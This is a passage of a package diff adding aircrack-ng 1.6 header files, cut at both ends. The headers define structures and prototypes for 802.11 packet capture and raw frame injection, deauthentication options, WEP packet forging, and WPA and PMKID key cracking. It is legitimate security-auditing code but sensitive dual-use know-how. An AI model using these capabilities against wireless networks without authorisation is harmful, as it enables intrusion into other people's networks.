+	return ((float) rand() / (float) RAND_MAX);
+}
+
+/// Saturated add for unsigned, 32-bit integers.
+static inline uint32_t adds_u32(uint32_t a, uint32_t b)
+{
+	uint32_t c = a + b;
+	if (unlikely(c < a)) /* can only happen due to overflow */
+		c = -1;
+	return (c);
+}
+
+#ifdef __cplusplus
+};
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/communications.h Added

@@ -0,0 +1,386 @@
+/*
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2009 Martin Beck <martin.beck2@gmx.de>
+ *  Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_NG_COMMUNICATIONS_H
+#define AIRCRACK_NG_COMMUNICATIONS_H
+
+#include <errno.h>
+#include <limits.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+
+#include <aircrack-ng/defs.h>
+#include <aircrack-ng/support/pcap_local.h>
+#include <aircrack-ng/osdep/osdep.h>
+#include <aircrack-ng/support/common.h>
+#include <aircrack-ng/third-party/ieee80211.h>
+
+#define RATE_1M 1000000
+#define RATE_2M 2000000
+#define RATE_5_5M 5500000
+#define RATE_11M 11000000
+
+#define RATE_6M 6000000
+#define RATE_9M 9000000
+#define RATE_12M 12000000
+#define RATE_18M 18000000
+#define RATE_24M 24000000
+#define RATE_36M 36000000
+#define RATE_48M 48000000
+#define RATE_54M 54000000
+
+static const int bitrates[] = {RATE_1M,
+							   RATE_2M,
+							   RATE_5_5M,
+							   RATE_6M,
+							   RATE_9M,
+							   RATE_11M,
+							   RATE_12M,
+							   RATE_18M,
+							   RATE_24M,
+							   RATE_36M,
+							   RATE_48M,
+							   RATE_54M};
+
+struct communication_options
+{
+	uint8_t f_bssid[6];
+	uint8_t f_dmac[6];
+	uint8_t f_smac[6];
+	uint8_t f_netmask[6];
+	int f_minlen;
+	int f_maxlen;
+	int f_type;
+	int f_subtype;
+	int f_tods;
+	int f_fromds;
+	int f_iswep;
+
+	uint8_t deauth_rc;
+	int r_nbpps;
+	unsigned int r_fctrl;
+	uint8_t r_bssid[6];
+	uint8_t r_dmac[6];
+	uint8_t r_smac[6];
+	uint8_t r_trans[6];
+	uint8_t r_dip[4];
+	uint8_t r_sip[4];
+	char r_essid[33];
+	int r_fromdsinj;
+	char r_smac_set;
+
+	char ip_out[16]; // 16 for 15 chars + \x00
+	char ip_in[16];
+	int port_out;
+	int port_in;
+
+	char * iface_out;
+	char * s_face;
+	char * s_file;
+	uint8_t * prga;
+	size_t prgalen;
+
+	int a_mode;
+	int a_count;
+	int a_delay;
+	int f_retry;
+
+	int ringbuffer;
+	int ghost;
+
+	int delay;
+	int npackets;
+
+	int fast;
+	int bittest;
+
+	int nodetect;
+	int ignore_negative_one;
+	int rtc;
+
+	int reassoc;
+
+	int crypt;
+	uint8_t wepkey[64];
+	size_t weplen;
+
+	int f_index; /* outfiles index       */
+	FILE * f_txt; /* output csv file      */
+	FILE * f_kis; /* output kismet csv file      */
+	FILE * f_kis_xml; /* output kismet netxml file */
+	FILE * f_gps; /* output gps file      */
+	FILE * f_cap; /* output cap file      */
+	FILE * f_ivs; /* output ivs file      */
+	FILE * f_xor; /* output prga file     */
+	FILE * f_logcsv; /* output rolling AP/GPS csv log */
+
+	char * f_cap_name;
+	char * prefix;
+
+	int output_format_pcap;
+	int output_format_csv;
+	int output_format_kismet_csv;
+	int output_format_kismet_netxml;
+	int output_format_log_csv;
+
+	int usegpsd; /* do we use GPSd?      */
+	int record_data; /* do we record data?   */
+
+	unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \
+							   up to 4096Byte */
+	time_t sk_start;
+	size_t sk_len;
+	size_t sk_len2;
+
+	int quiet;
+	int verbose;
+};
+
+struct devices
+{
+	int fd_in, arptype_in;
+	int fd_out, arptype_out;
+	int fd_rtc;
+	struct tif * dv_ti;
+	struct tif * dv_ti2;
+
+	uint8_t mac_in[6];
+	uint8_t mac_out[6];
+
+	int is_wlanng;
+	int is_hostap;
+	int is_madwifi;
+	int is_madwifing;
+	int is_bcm43xx;
+
+	FILE * f_cap_in;
+
+	struct pcap_file_header pfh_in;
+};
+
+/* Expects host-endian arguments, but returns little-endian seq. */
+static inline uint16_t fnseq(uint16_t fn, uint16_t seq)
+{
+	uint16_t r = 0;
+
+	if (fn > 15)
+	{
+		fprintf(stderr, "too many fragments (%d)\n", fn);
+		exit(EXIT_FAILURE);
+	}
+
+	r = fn;
+
+	r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
+
+	return (htole16(r));
+}
+
+static inline int get_ip_port(char * iface, char * ip, const int ip_size)
+{
+	REQUIRE(iface != NULL);
+	REQUIRE(ip != NULL);
+	REQUIRE(ip_size > 0);
+
+	char * host;
+	char * ptr;
+	int port = -1;
+	struct in_addr addr;
+
+	host = strdup(iface);
+	if (!host) return (-1);
+
+	ptr = strchr(host, ':');
+	if (!ptr) goto out;
+
+	*ptr++ = 0;
+
+	if (!inet_aton(host, (struct in_addr *) &addr))
+		goto out; /* XXX resolve hostname */
+
+	if (strlen(host) > 15)
+	{
+		port = -1;
+		goto out;
+	}
+
+	strncpy(ip, host, (size_t) ip_size);
+	port = (int) strtol(ptr, NULL, 10);
+	if (port <= 0) port = -1;
+
+out:
+	free(host);
+	return (port);
+}
+
+int read_packet(struct wif * wi,
+				void * buf,
+				uint32_t count,
+				struct rx_info * ri);
+
+int wait_for_beacon(struct wif * wi,
+					uint8_t * bssid,
+					uint8_t * capa,
+					char * essid);
+
+int attack_check(uint8_t * bssid,
+				 char * essid,
+				 uint8_t * capa,
+				 struct wif * wi,
+				 int ignore_negative_one);
+
+typedef void (*read_sleep_cb)(void);
+
+static inline void read_sleep(int fd_in, unsigned long usec, read_sleep_cb cb)
+{
+	struct timeval tv, tv2, tv3;
+	fd_set rfds;
+
+	gettimeofday(&tv, NULL);
+	gettimeofday(&tv2, NULL);
+
+	tv3.tv_sec = 0;
+	tv3.tv_usec = 10000;
+
+	while (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+			+ (tv2.tv_usec - tv.tv_usec))
+		   < (usec))
+	{
+		FD_ZERO(&rfds);
+		FD_SET(fd_in, &rfds);
+
+		if (select(fd_in + 1, &rfds, NULL, NULL, &tv3) < 0)
+		{
+			continue;
+		}
+
+		if (FD_ISSET(fd_in, &rfds)) cb();
+
+		gettimeofday(&tv2, NULL);
+	}
+}
+
+extern unsigned long nb_pkt_sent;
+
+enum Send_Packet_Option
+{
+	kNoChange,
+	kRewriteSequenceNumber,
+	kRewriteDuration,
+};
+
+static inline int send_packet(struct wif * wi,
+							  void * buf,
+							  size_t count,
+							  enum Send_Packet_Option option)
+{
+	REQUIRE(buf != NULL);
+	REQUIRE(count > 0 && count < INT_MAX);
+	REQUIRE(option >= kNoChange && option <= kRewriteDuration); //-V1016
+
+	uint8_t * pkt = (uint8_t *) buf;
+
+	if ((option & kRewriteSequenceNumber) != 0 && (count > 24)
+		&& (pkt[1] & 0x04) == 0
+		&& (pkt[22] & 0x0F) == 0)
+	{
+		pkt[22] = (uint8_t)((nb_pkt_sent & 0x0000000F) << 4);
+		pkt[23] = (uint8_t)((nb_pkt_sent & 0x00000FF0) >> 4);
+	}
+
+	if ((option & kRewriteDuration) != 0 && count > 24)
+	{
+		// Set the duration...
+		pkt[2] = 0x3A;
+		pkt[3] = 0x01;
+
+		// Reset Retry Flag
+		pkt[1] = (uint8_t)(pkt[1] & ~0x4);
+	}
+
+	if (wi_write(wi, NULL, LINKTYPE_IEEE802_11, buf, (int) count, NULL) == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+			case ENOBUFS:
+				usleep(10000);
+				return (0); /* XXX not sure I like this... -sorbo */
+
+			default:
+				perror("wi_write()");
+				return (-1);
+		}
+	}
+
+	++nb_pkt_sent;
+
+	return (0);
+}
+
+int getnet(struct wif * wi,
+		   uint8_t * capa,
+		   int filter,
+		   int force,
+		   uint8_t * f_bssid,
+		   uint8_t * r_bssid,
+		   uint8_t * r_essid,
+		   int ignore_negative_one,
+		   int nodetect);
+
+int capture_ask_packet(int * caplen, int just_grab);
+int filter_packet(unsigned char * h80211, int caplen);
+
+int dump_initialize(char * prefix);
+int dump_initialize_multi_format(char * prefix, int ivs_only);
+
+int check_shared_key(const uint8_t * h80211, size_t caplen);
+int encrypt_data(uint8_t * data, size_t length);
+
+int create_wep_packet(uint8_t * packet, size_t * length, size_t hdrlen);
+
+int set_clear_arp(uint8_t * buf, uint8_t * smac, uint8_t * dmac);
+int set_final_arp(uint8_t * buf, uint8_t * mymac);
+int set_clear_ip(uint8_t * buf, size_t ip_len);
+int set_final_ip(uint8_t * buf, uint8_t * mymac);
+int msleep(int msec);
+int read_prga(unsigned char ** dest, char * file);
+int set_bitrate(struct wif * wi, int rate);
+
+#endif //AIRCRACK_NG_COMMUNICATIONS_H

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/crypto_engine_loader.h Added

@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_NG_CRYPTO_ENGINE_LOADER_H
+#define AIRCRACK_NG_CRYPTO_ENGINE_LOADER_H
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define EXPORT __declspec(dllexport)
+#define IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
+	|| defined(__INTEL_COMPILER)
+#define EXPORT __attribute__((visibility("default")))
+#define IMPORT
+#else
+//  do nothing and hope for the best?
+#define EXPORT
+#define IMPORT
+#pragma warning Unknown dynamic link import / export semantics.
+#endif
+
+#define STATIC_ASSERT(COND, MSG)                                               \
+	typedef char static_assertion_##MSG[(!!(COND)) * 2 - 1]
+// token pasting madness:
+#define COMPILE_TIME_ASSERT3(X, L)                                             \
+	STATIC_ASSERT(X, static_assertion_at_line_##L)
+#define COMPILE_TIME_ASSERT2(X, L) COMPILE_TIME_ASSERT3(X, L)
+#define COMPILE_TIME_ASSERT(X) COMPILE_TIME_ASSERT2(X, __LINE__)
+
+#if defined(__GNUC__) || defined(__llvm__) || defined(__clang__)               \
+	|| defined(__INTEL_COMPILER)
+#define likely(x) __builtin_expect(!!(x), 1)
+#define unlikely(x) __builtin_expect(!!(x), 0)
+#else
+#define likely(x) (x)
+#define unlikely(x) (x)
+#endif
+
+#include <stdint.h>
+#include <stddef.h>
+
+#include <aircrack-ng/ce-wpa/crypto_engine.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * Returns an integer bit representation of the available SIMD
+ * Aircrack-ng Crypto Engine modules for the runtime machine.
+ *
+ * @return Integer bit representation of SIMD flags.
+ */
+IMPORT int ac_crypto_engine_loader_get_available(void);
+
+/**
+ * Returns an absolute path to the best Aircrack-ng Crypto
+ * library to load. The caller \b MUST deallocate the
+ * returned memory using \a free!
+ *
+ * @param simd_features Integer bit representation of SIMD flags.
+ * @return character sequence that must be deallocated by caller.
+ */
+IMPORT char * ac_crypto_engine_loader_best_library_for(int simd_features);
+
+/// Produces an integer bit representation of a SIMD character sequence.
+IMPORT int ac_crypto_engine_loader_string_to_flag(const char * const str);
+
+/**
+ * Produces a character representation of the SIMD integer flags.
+ *
+ * All selected bits of \a flags are converted; producing a space
+ * separated string representation.
+ *
+ * Caller \b MUST deallocate the returned value using \a free
+ *
+ * @param flags Integer bit representation of SIMD flags.
+ * @return character sequence that must be deallocated by caller.
+ */
+IMPORT char * ac_crypto_engine_loader_flags_to_string(int flags);
+
+/// Loads the specified Aircrack-ng Crypto Engine specified by \a flags.
+/// Does nothing in a static build.
+IMPORT int ac_crypto_engine_loader_load(int flags);
+
+/// Unloads the Aircrack-ng Crypto Engine. Does nothing in a static build.
+IMPORT void ac_crypto_engine_loader_unload(void);
+
+// Symbols defined by the loader.
+
+extern int (*dso_ac_crypto_engine_init)(ac_crypto_engine_t * engine);
+extern void (*dso_ac_crypto_engine_destroy)(ac_crypto_engine_t * engine);
+extern void (*dso_ac_crypto_engine_set_essid)(ac_crypto_engine_t * engine,
+											  const uint8_t * essid);
+extern int (*dso_ac_crypto_engine_thread_init)(ac_crypto_engine_t * engine,
+											   int threadid);
+extern void (*dso_ac_crypto_engine_thread_destroy)(ac_crypto_engine_t * engine,
+												   int threadid);
+extern int (*dso_ac_crypto_engine_simd_width)(void);
+extern int (*dso_ac_crypto_engine_wpa_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	uint8_t keyver,
+	const uint8_t cmpmic[20],
+	int nparallel,
+	int threadid);
+extern int (*dso_ac_crypto_engine_wpa_pmkid_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	int nparallel,
+	int threadid);
+extern void (*dso_ac_crypto_engine_set_pmkid_salt)(ac_crypto_engine_t * engine,
+												   const uint8_t bssid[6],
+												   const uint8_t stmac[6],
+												   int threadid);
+extern void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
+											 const uint8_t bssid[6],
+											 const uint8_t stmac[6],
+											 const uint8_t anonce[32],
+											 const uint8_t snonce[32],
+											 int threadid);
+extern int (*dso_ac_crypto_engine_supported_features)(void);
+extern uint8_t * (*dso_ac_crypto_engine_get_pmk)(ac_crypto_engine_t * engine,
+												 int threadid,
+												 int index);
+extern uint8_t * (*dso_ac_crypto_engine_get_ptk)(ac_crypto_engine_t * engine,
+												 int threadid,
+												 int index);
+extern void (*dso_ac_crypto_engine_calc_one_pmk)(const uint8_t * key,
+												 const uint8_t * essid,
+												 uint32_t essid_length,
+												 uint8_t pmk[40]);
+extern void (*dso_ac_crypto_engine_calc_pmk)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	int nparallel,
+	int threadid);
+extern void (*dso_ac_crypto_engine_calc_mic)(
+	ac_crypto_engine_t * engine,
+	const uint8_t eapol[256],
+	const uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	const uint8_t keyver,
+	const int vectorIdx,
+	const int threadid);
+
+// End symbols defined by the loader.
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // AIRCRACK_NG_CRYPTO_ENGINE_LOADER_H

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/fragments.h Added

@@ -0,0 +1,76 @@
+/*
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2009 Martin Beck <martin.beck2@gmx.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_NG_FRAGMENTS_H
+#define AIRCRACK_NG_FRAGMENTS_H
+
+#include <aircrack-ng/crypto/crypto.h>
+
+// if not all fragments are available 60 seconds after the last fragment was
+// received, they will be removed
+#define FRAG_TIMEOUT (1000000 * 60)
+
+typedef struct Fragment_list * pFrag_t;
+struct Fragment_list
+{
+	unsigned char source[6];
+	unsigned short sequence;
+	unsigned char * fragment[16];
+	short fragmentlen[16];
+	char fragnum;
+	unsigned char * header;
+	short headerlen;
+	struct timeval access;
+	char wep;
+	pFrag_t next;
+};
+
+int addFrag(unsigned char * packet,
+			unsigned char * smac,
+			int len,
+			int crypt,
+			unsigned char * wepkey,
+			int weplen);
+
+int timeoutFrag(void);
+
+int delFrag(unsigned char * smac, int sequence);
+
+unsigned char * getCompleteFrag(unsigned char * smac,
+								int sequence,
+								size_t * packetlen,
+								int crypt,
+								unsigned char * wepkey,
+								int weplen);
+
+#endif //AIRCRACK_NG_FRAGMENTS_H

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/mcs_index_rates.h Added

@@ -0,0 +1,54 @@
+/*
+ * Functions and macros to obtain 802.11n or ac rates based on MCS index
+ *
+ * Copyright (C) 2018-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef MCS_INDEX_RATES_H
+#define MCS_INDEX_RATES_H
+
+// http://mcsindex.com/
+
+// 20/40/80/160MHz -> (0, 1, 2, 3)
+// 0: long GI, 1: short GI
+// amount of spatial streams (minus 1)
+// MCS index
+extern const float MCS_index_rates[4][2][8][10];
+
+float get_80211n_rate(const int width,
+					  const int is_short_GI,
+					  const int mcs_index);
+float get_80211ac_rate(const int width,
+					   const int is_short_GI,
+					   const int mcs_idx,
+					   const int amount_ss);
+
+#endif // MCS_INDEX_RATES_H

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/pcap_local.h Added

@@ -0,0 +1,116 @@
+/*
+ *
+ *  Copyright (C) 2001-2004  Christophe Devine
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+
+ */
+#ifndef _AIRCRACK_NG_PCAP_H_
+#define _AIRCRACK_NG_PCAP_H_
+
+#include <stdint.h>
+
+#define FORMAT_CAP 1
+#define FORMAT_IVS 2
+#define FORMAT_IVS2 3
+#define FORMAT_HCCAP 4
+#define FORMAT_HCCAPX 5
+
+#define HCCAPX_MAGIC "HCPX"
+#define HCCAPX_CIGAM "XPCH"
+#define TCPDUMP_MAGIC 0xA1B2C3D4
+#define TCPDUMP_CIGAM 0xD4C3B2A1
+#define IVSONLY_MAGIC "\xBF\xCA\x84\xD4"
+#define IVS2_MAGIC "\xAE\x78\xD1\xFF"
+#define IVS2_EXTENSION "ivs"
+#define IVS2_VERSION 1
+
+#define PCAP_VERSION_MAJOR 2
+#define PCAP_VERSION_MINOR 4
+
+#define LINKTYPE_ETHERNET 1
+#define LINKTYPE_IEEE802_11 105
+#define LINKTYPE_PRISM_HEADER 119
+#define LINKTYPE_RADIOTAP_HDR 127
+#define LINKTYPE_PPI_HDR 192
+
+// BSSID const. length of 6 bytes; can be together with all the other types
+#define IVS2_BSSID 0x0001
+
+// ESSID var. length; alone, or with BSSID
+#define IVS2_ESSID 0x0002
+
+// wpa structure, const. length; alone, or with BSSID
+#define IVS2_WPA 0x0004
+
+// IV+IDX+KEYSTREAM, var. length; alone or with BSSID
+#define IVS2_XOR 0x0008
+
+/* [IV+IDX][i][l][XOR_1]..[XOR_i][weight] *
+ * holds i possible keystreams for the same IV with a length of l for each
+ * keystream (l max 32)  *
+ * and an array "int weight[16]" at the end */
+#define IVS2_PTW 0x0010
+
+// unencrypted packet
+#define IVS2_CLR 0x0020
+
+// Maximum length of an Information Element
+#define MAX_IE_ELEMENT_SIZE 256
+
+struct pcap_file_header
+{
+	uint32_t magic;
+	uint16_t version_major;
+	uint16_t version_minor;
+	int32_t thiszone;
+	uint32_t sigfigs;
+	uint32_t snaplen;
+	uint32_t linktype;
+};
+
+struct pcap_pkthdr
+{
+	int32_t tv_sec;
+	int32_t tv_usec;
+	uint32_t caplen;
+	uint32_t len;
+};
+
+struct ivs2_filehdr
+{
+	uint16_t version;
+};
+
+struct ivs2_pkthdr
+{
+	uint16_t flags;
+	uint16_t len;
+};
+
+#endif /* common.h */

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/station.h Added

@@ -0,0 +1,222 @@
+/*
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2009 Martin Beck <martin.beck2@gmx.de>
+ *  Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#include <aircrack-ng/ce-wpa/crypto_engine.h>
+#include <aircrack-ng/adt/avl_tree.h>
+#include <aircrack-ng/support/pcap_local.h>
+#include <aircrack-ng/ptw/aircrack-ptw-lib.h>
+
+#ifndef AIRCRACK_NG_STATION_H
+#define AIRCRACK_NG_STATION_H
+
+#define NB_PRB 10 /* size of probed ESSID ring buffer */
+
+#define NB_PWR 5 /* size of signal power ring buffer */
+
+/* WPS_info struct */
+struct WPS_info
+{
+	unsigned char version; /* WPS Version */
+	unsigned char state; /* Current WPS state */
+	unsigned char ap_setup_locked; /* AP setup locked */
+	unsigned int meth; /* WPS Config Methods */
+};
+
+#define MAX_AC_MCS_INDEX 8
+
+/* 802.11n channel information */
+struct n_channel_info
+{
+	char mcs_index; /* Maximum MCS TX index     */
+	char sec_channel; /* 802.11n secondary channel*/
+	unsigned char short_gi_20; /* Short GI for 20MHz       */
+	unsigned char short_gi_40; /* Short GI for 40MHz       */
+	unsigned char any_chan_width; /* Support for 20 or 40MHz
+									as opposed to only 20 or
+									only 40MHz               */
+};
+
+/* 802.11ac channel information */
+struct ac_channel_info
+{
+	unsigned char center_sgmt[2];
+	/* 802.11ac Center segment 0*/
+	unsigned char mu_mimo; /* MU-MIMO support          */
+	unsigned char short_gi_80; /* Short GI for 80MHz       */
+	unsigned char short_gi_160; /* Short GI for 160MHz      */
+	unsigned char split_chan; /* 80+80MHz Channel support */
+	unsigned char mhz_160_chan; /* 160 MHz channel support  */
+	unsigned char wave_2; /* Wave 2                   */
+	unsigned char mcs_index[MAX_AC_MCS_INDEX];
+	/* Maximum TX rate          */
+};
+
+enum channel_width_enum
+{
+	CHANNEL_UNKNOWN_WIDTH,
+	CHANNEL_3MHZ,
+	CHANNEL_5MHZ,
+	CHANNEL_10MHZ,
+	CHANNEL_20MHZ,
+	CHANNEL_22MHZ,
+	CHANNEL_30MHZ,
+	CHANNEL_20_OR_40MHZ,
+	CHANNEL_40MHZ,
+	CHANNEL_80MHZ,
+	CHANNEL_80_80MHZ,
+	CHANNEL_160MHZ
+};
+
+/** linked list of detected access points. */
+struct AP_info
+{
+	struct AP_info * prev; /* prev. AP in list         */
+	struct AP_info * next; /* next  AP in list         */
+
+	time_t tinit, tlast; /* first and last time seen */
+
+	int channel; /* AP radio channel         */
+	enum channel_width_enum channel_width; /* Channel width            */
+	char standard[3]; /* 802.11 standard: n or ac */
+	struct n_channel_info n_channel; /* 802.11n channel info     */
+	struct ac_channel_info ac_channel; /* 802.11ac channel info    */
+	int max_speed; /* AP maximum speed in Mb/s */
+	int avg_power; /* averaged signal power    */
+	int best_power; /* best signal power    */
+	int power_index; /* index in power ring buf. */
+	int power_lvl[NB_PWR]; /* signal power ring buffer */
+	int preamble; /* 0 = long, 1 = short      */
+	unsigned int security; /* ENC_*, AUTH_*, STD_*     */
+	int beacon_logged; /* We need 1 beacon per AP  */
+	int dict_started; /* 1 if dict attack started */
+	int ssid_length; /* length of ssid           */
+	float gps_loc_min[5]; /* min gps coordinates      */
+	float gps_loc_max[5]; /* max gps coordinates      */
+	float gps_loc_best[5]; /* best gps coordinates     */
+
+	unsigned long nb_bcn; /* total number of beacons  */
+	unsigned long nb_pkt; /* total number of packets  */
+	unsigned long nb_data; /* number of  data packets  */
+	unsigned long nb_data_old; /* number of data packets/sec*/
+	int nb_dataps; /* number of data packets/sec*/
+	struct timeval tv; /* time for data per second */
+	char * manuf; /* the access point's manufacturer */
+	unsigned long long timestamp; /* Timestamp to calculate uptime   */
+
+	uint8_t bssid[6]; /* access point MAC address     */
